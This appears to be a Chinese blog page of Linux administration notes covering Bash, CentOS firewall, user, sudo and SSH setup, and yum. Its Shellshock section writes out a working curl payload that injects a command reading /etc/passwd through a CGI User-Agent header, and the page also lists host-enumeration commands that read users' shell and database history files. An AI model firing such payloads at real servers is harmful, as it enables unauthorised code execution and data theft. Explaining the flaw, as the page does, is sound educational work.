运维知识点-linux操作系统-linux命令行-BashShell

在这里插入图片描述

linux操作系统

在这里插入图片描述

BashShell介绍

Bash Shell是Linux系统中最常用的Shell程序之一,它是一种命令解释器,为用户提供了一个在终端中与Linux系统交互的接口。具体来说,Bash Shell在操作系统的最外层,负责用户程序与内核进行交互操作,将用户输入的命令翻译给操作系统,并将处理后的结果输出至屏幕。当用户通过远程连接工具连接到Linux服务时,系统会打开一个默认的Shell,用户可以在这个界面执行各种命令,如获取系统当前时间、创建用户等。

Bash Shell具有许多特性和功能,如命令自动补全、命令历史记录、别名、shell脚本编写等,这些功能使得用户能够更加方便地管理系统资源和执行命令。同时,作为一种脚本语言解释器,Bash Shell能够解释用户输入的命令,并将命令转换为系统调用或其他操作。如果输入的命令不是系统中可执行的程序,Bash Shell会尝试将其解释为shell内置命令或shell脚本,并执行相应的操作。

Bash Shell广泛应用于系统管理、自动化脚本、任务调度、日常操作等各个领域,也是许多开发者和系统管理员的首选工具。它拥有广泛的社区支持和丰富的资源,使得用户能够轻松地获取帮助和解决问题。

总的来说,Bash Shell是一个强大而灵活的命令行解释器和脚本语言,为Linux用户提供了高效、便捷的系统交互体验。

编程入门技能

变量概念介绍

特殊变量进阶

数值计算实践

条件测试比较

条件判断语句

流程控制语句

循环语句应用

循环控制语句

函数知识精讲

数组知识精讲

开发环境规范

调试优化实践

自动化实战项目

破壳漏洞 解析漏洞

Bash漏洞起因

curl -A "() { :; }; /bin/cat /etc/passwd" http://192.168.0.1/poc.cgi

curl是linux下用于http请求的一个工具,
-A是将User-Agent设置为() {
    :; }; /bin/cat /etc/passwd字符串

后面的http://192.168.0.1/poc.cgi是
位于服务器192.168.0.1的一个cgi脚本,为什么cat /etc/passwd可以在192.168.0.1执行成功
poc.cgi的源代码

 #!/bin/bash

      echo "Content-type: text/html"

      echo ""

      echo '<html>'

      echo '<head>'

      echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'

      echo '<title>PoC</title>'

      echo '</head>'

      echo '<body>'

      echo '<pre>'

      /usr/bin/env

      /* 这里存在一个BASH的调用,输出环境信息*/

      echo '</pre>'

      echo '</body>'

      echo '</html>'

      exit 0
        
        
     poc.cgi
    允许我们远程访问http://192.168.0.1/poc.cgi时
    使用HTTP方式对/usr/bin/env进行调用

访问http://192.168.0.1/poc.cgi时可以设置任意的HTTP Header
比如User-Agent、Refer、cookie以及自定义等参数

而 Bash CGI会将客户端发送的HTTP数据包的HTTP头部的字段
作为ENV的参数传入环境变量的设置函数中,
也就是说Bash CGI默认将HTTP头部参数作为环境变量设置源。

() {
    :; }; /bin/cat /etc/passwd”

      User-Agent : ()       <-- 作为函数

      {
    :;};               <-- 函数体

      /bin/cat /etc/passwd  <-- 注入的代码

当我们的() { :; }; /bin/cat /etc/passwd被传入Bash的环境设置函数之后,
由于Bash使用的环境变量是通过函数名称来调用的,
因此以“(){”开头定义的环境变量在命令ENV中解析成函数后,
Bash会将这段代码这样解释:

“()”当做User-Agent()函数、而“{ :;};” 作为一个空的函数体。
这一Bash对环境进行设置的过程中,“
() { :; }; /bin/cat /etc/passwd”会被当做代码进行“代码执行(可以想象成php的eval)”。

注入的代码被成功解析执行后会以”环境变量”的形式保存在环境变量中,
然后CGI返回的HTTP数据包中会将环境变量一并发送回客户端,
也就是你看到的/bin/cat /etc/passwd执行了的结果。

问题产生的地方就在于Bash对环境进行设置的过程中对传入的参数在未检查其合法性的情况下,即进行了代码执行。

Bash 3.2中对此功能的实现:

evalstring.c

      else if (command = global_command)

      {
        struct fd_bitmap *bitmap;  

            /*

             这里没有对传入的command进行正确的边界检查,引入了代码注入的可能性

            */

            bitmap = new_fd_bitmap (FD_BITMAP_SIZE);



            begin_unwind_frame ("pe_dispose");

           add_unwind_protect (dispose_fd_bitmap, bitmap);

           add_unwind_protect (dispose_command, command);   

            /* XXX */   

            global_command = (COMMAND *)NULL;

      }

variables.c

      /*

      Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from

      ENV

      or

      parse $SHELLOPTS.

      */

      void initialize_shell_variables (env, privmode) char **env; int privmode;

      {
   

          ...

         create_variable_tables ();    

          /*

          从ENV环境变量中获取参数

          */

          for (string_index = 0; string = env[string_index++]; )

          {
   

        char_index = 0;

        name = string;

        while ((c = *string++) && c != '=') ;

        if (string[-1] == '=')

            char_index = string - name - 1;

        /* If there are weird things in the environment, like `=xxx' or a

            string without an `=', just skip them. */

        if (char_index == 0)

            continue;

        /* ASSERT(name[char_index] == '=') */

        name[char_index] = '\0';

        /*

        Now, name = env variable name, string = env variable value, and char_index == strlen (name)

        */

        /*

        If exported function, define it now.  Don't import functions from the environment in privileged mode.

        解析环境变量设置中的函数定义

        */

        if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))

        {
   

            string_length = strlen (string);

            temp_string = (char *)xmalloc (3 + string_length + char_index);

            strcpy (temp_string, name);

            temp_string[char_index] = ' ';

            strcpy (temp_string + char_index + 1, string);

            /*

            这句是关键,initialize_shell_variables对环境变量中的代码进行了执行,由于它错误的信任的外部发送的数据,形成了和SQL注入类似的场景,这句代码和PHP中的eval是类似的,黑客只要满足2个条件

            1. 控制发送的参数,并在其中拼接payload

            2. 黑客发送的包含payload的参数会被无条件的执行,而执行方不进行任何的边界检查

            这就是典型的数据和代码没有进行正确区分导致的漏洞

            */

            parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

            // Ancient backwards compatibility.  Old versions of bash exported functions like name()=() {...}

            if (name[char_index - 1] == ')' && name[char_index - 2] == '(')

                name[char_index - 2] = '\0';

            if (temp_var = find_function (name))

            {
   

                VSETATTR (temp_var, (att_exported|att_imported));

                array_needs_making = 1;

            }

            else

                report_error (_("error importing function definition for `%s'"), name);

            /* ( */

            if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')

                name[char_index - 2] = '(';        /* ) */

        }

    }

Bash漏洞的影响范围
Bash漏洞迄今为止影响的系统或应用包括如下:
1 . 调用了Bash并对提交的http参数未作处理的cgi脚本

2 . gitlab (SSH) 对于git、rsync这类远程shell来说,
常常会对用户可以执行的指令进行严格限制,但是这个BASH解析漏洞提供了一个bypass的向量

3.DHCP 客户端
动态主机配置协议客户端被用来通过DHCP自动获取网络配置信息。
该客户端使用不同的环境变量和运行bash来配置网络接口。
连接到一个恶意的DHCP服务器可能允许攻击者在客户机上运行任意代码。

黑客通过在域中的DHCP服务器中对DHCP的回送包进行特定的修改(控制hostname、 domainname等参数),
可以达到污染dhcpclient的环境变量参数的目的,从而进行远程代码执行。
4. Qmail
5. F5
6. SIP
7. Pure-ftpd
8. tmnt

https://blog.csdn.net/lijia111111/article/details/78230511

centos 7 安装配置手记

在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

防火墙


使用service命令查看或控制iptables防火墙的状态,例如:
service iptables status 查看防火墙状态
service iptables start 开启防火墙
service iptables stop 关闭防火墙
使用chkconfig命令查看或设置iptables防火墙的开机启动,例如:
chkconfig --list iptables 查看防火墙是否开机启动
chkconfig iptables on 设置防火墙开机启动
chkconfig iptables off 取消防火墙开机启动
使用systemctl命令查看或控制firewalld防火墙的状态,例如:
systemctl status firewalld 查看防火墙状态
systemctl start firewalld 开启防火墙
systemctl stop firewalld 关闭防火墙


Linux系统上,你可以使用以下命令来查看防火墙开放了哪些端口:

iptables(如果你使用的是iptables防火墙):
shell
sudo iptables -L
这个命令将显示当前防火墙的规则列表,其中包括已经开放的端口。

ufw(如果你使用的是ufw防火墙):
shell
sudo ufw status
这个命令将显示ufw防火墙的状态信息,其中包括已经开放的端口。

nmap(需要安装nmap扫描工具):
shell
sudo nmap -sT -O localhost
 
查看当前用户:whoami
查看所有用户:cat /etc/passwd  compgen -u
查看用户所属组:id
查看当前系统是否为虚拟机:systemd-detect-virt
查看linux发行版本:cat /etc/redhat-release 
查看系统内核版本:cat /proc/version
查看系统详细信息:uname -a
本机进程列表:ps -ef
对外已开启端口服务:netstat -anp
查看iptables规则:iptables -nvL
查看selinux开启状态:getenforce
查看用户历史命令:
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
查询已安装软件:rpm -qa
查看所有用户计划任务:ls /var/spool/cron/



1、开启防火墙systemctl start firewalld

2、开放指定端口firewall-cmd --zone=public --add-port=1935/tcp --permanent

命令含义:

--zone #作用域

--add-port=1935/tcp #添加端口,格式为:端口/通讯协议

--permanent #永久生效,没有此参数重启后失效

3、重启防火墙firewall-cmd --reload

4、查看端口号netstat -ntlp //查看当前所有tcp端口·

netstat -ntulp |grep 1935 //查看所有1935端口使用情况


cat  /etc/centos-release

firewall-cmd --state
systemctl status firewalld.service



先掌握下systemctl+firewall命令

描述 命令 
查看firewall状态 systemctl status firewalld.service 
启动firewall systemctl start firewalld 
停止firewall systemctl stop firewalld 
开机启动firewall systemctl enable firewalld 
开机禁止firewall systemctl disable firewalld 

额外学习下systemctl命令^_^ 
查看服务是否开机启动 systemctl is-enabled firewalld.service 
查看已启动的服务列表 systemctl list-unit-files|grep enabled 
查看启动失败的服务列表 systemctl --failed

其次掌握firewall-cmd命令

描述 命令 
查看firewall全部信息 firewall-cmd --list-all 
查看已开放的端口 firewall-cmd --list-ports 
更新防火墙规则 firewall-cmd --reload 
开放端口 firewall-cmd --zone=public --add-port=3000/tcp --permanent 
关闭端口 firewall-cmd --zone=public --remove-port=3000/tcp --permanent

最终执行步骤:

首先查看firewall是否已开启: systemctl status firewalld.service
开放端口(开放后需要更新规则才能生效):  firewall-cmd --zone=public --add-port=3000/tcp --permanent
更新防火墙规则: firewall-cmd --reload



开启  防火墙 
systemctl start firewalld.service


4、开启8080端口,输入命令:

firewall-cmd --zone=public --add-port=1/tcp --permanent
让我们来解释一下上一个命令:
–zone=public:表示作用域为公共的;
–add-port=8080/tcp:添加tcp协议的端口8080;
–permanent:永久生效,如果没有此参数,则只能维持当前服务生命周期内,重新启动后失效;

5、输入命令重启防火墙;

systemctl restart firewalld.service

6、输入命令重新载入配置;

firewall-cmd --reload 



用root用户登录
增加用户
[root@localhost ~]# adduser root220
为新用户设置密码
[root@localhost~]# passwd root220
Changing password for user prefma.
New password:             # 输入密码
Retype new password:      # 再次输入密码
passwd: all authentication tokens updated successfully.
二. 为新用户授权
个人用户的权限只可以在本home下有完整权限,其他目录需要别人授权。经常需要root用户的权限,可以通过修改sudoers文件来赋予权限。
新创建的用户并不能使用sudo命令,需要给他添加授权。

查找sudoers文件路径并赋予权限
[root@localhost~]# whereis sudoers                     # 查找sudoers文件路径
sudoers: /etc/sudoers /etc/sudoers.d /usr/share/man/man5/sudoers.5.gz
[root@localhost~]# ls -l /etc/sudoers                  # 查看权限
-r--r----- 1 root root 3938 Sep  6  2017 /etc/sudoers  # 只有读权限
[root@localhost~]# chmod -v u+w /etc/sudoers           # 赋予读写权限
mode of ‘/etc/sudoers’ changed from 0440 (r--r-----) to 0640 (rw-r-----)
修改sudoers文件
[root@localhost~]# vim /etc/sudoers
找到root ALL=(ALL) ALL的位置,在其下方添加新用户信息

## Allow root to run any commands anywhere
root       ALL=(ALL)      ALL
root220    ALL=(ALL)      ALL #这个是新用户
收回权限
[root@localhost~]# chmod -v u-w /etc/sudoers
mode of ‘/etc/sudoers’ changed from 0640 (rw-r-----) to 0440 (r--r-----)
三. 增加ssh端口
修改配置文件/etc/ssh/sshd_config
[root@localhost ~]# vim /etc/ssh/sshd_config
修改如下配置,增加220端口

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
ListenAddress 0.0.0.0:220
ListenAddress 0.0.0.0:22
#ListenAddress ::
关闭SELinux,切记!关闭后不要让服务器暴露在外网中,可以搜索SELinux的作用
# 临时关闭
[root@localhost ~]# setenforce 0
# 永久关闭
[root@localhost ~]# vim /etc/selinux/config
# 修改配置
SELINUX=disabled
然后重启sshd
[root@localhost ~]# systemctl restart sshd
检查是否成功
[root@BIGDATAFS03 ~]# netstat -ntlp | grep sshd
tcp    0    0 0.0.0.0:220    0.0.0.0:*    LISTEN    232428/sshd 
可以用shell工具连了
 


查看当前用户:whoami
查看所有用户:cat /etc/passwd
查看用户所属组:id
查看当前系统是否为虚拟机:systemd-detect-virt
查看linux发行版本:cat /etc/redhat-release 
查看系统内核版本:cat /proc/version
查看系统详细信息:uname -a
本机进程列表:ps -ef
对外已开启端口服务:netstat -anp
查看iptables规则:iptables -nvL
查看selinux开启状态:getenforce
查看用户历史命令:
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
查询已安装软件:rpm -qa
查看所有用户计划任务:ls /var/spool/cron/

操作系统发展历史与Linux

安装VMWare软件

VMWare常用操作

VMWare克隆和快照功能

安装和配置CentOS7

为虚拟机配置静态IP

CentOs安装软件的方式

Linux操作系统目录结构

Linux命令格式

Linux文件和目录操作命令

Linux用户和用户组操作命令

Linux查看和操作文件内容命令

Linux文件压缩和解压缩命令

Linux网络管理命令

Linux磁盘管理和系统状态命令

df -h

列出当前系统中挂载的所有文件系统的使用情况,包括每个文件系统的总大小、已使用大小、可用大小和挂载点。

lsblk

列出系统中所有块设备的信息,包括硬盘、分区和挂载点。通过查看 SIZE 列可以获取每个磁盘的大小信息。

parted -l

这也会列出系统中所有磁盘的详细信息,包括分区表、分区类型等,以及每个磁盘的总大小信息。

Linux安全加固

Yum 简介

Yum(全称为 Yellow dog Updater, Modified)是一个在Fedora和RedHat以及CentOS中的Shell前端软件包管理器。基于RPM包管理,能够从指定的

1、显示已经安装的软件包

yum list installed

2、查找可以安装的软件包 (以 tomcat 为例)

yum list tomcat

3、安装软件包 (以 tomcat 为例)

yum install tomcat

4、卸载软件包 (以 tomcat 为例)

yum remove tomcat

5、列出软件包的依赖 (以 tomcat 为例)

yum deplist tomcat

6、-y 自动应答yes
我们可以用 -y 来应答所有的 yes , 比如我们安装 tomcat 的时候,
用下面的命令,将安装任务一气呵成,不会中断。

yum -y install tomcat

7、info 显示软件包的描述信息和概要信息
以 tomcat 为例

yum info tomcat

8、升级软件包
升级所有的软件包

yum update

升级某一个软件包 ,以升级 tomcat 为例

yum update tomcat

检查可更新的程序

yum check-update

三: Yum 可视化图形界面 Yumex
yum Extender (简称 yumex ) , 是 yum 的图形化操作界面。可以通过 yumex 方便的查看软件包,安装、卸载软件包。对于对命令行不熟的人简直就是神奇,管理软件包很方便。

1、yumex 安装

yum install yumex

操作系统的目录结构和文件属性

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

快捷键使用及文件系统分类

在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述

对操作系统进行信息查询

在这里插入图片描述在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

amingMM

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值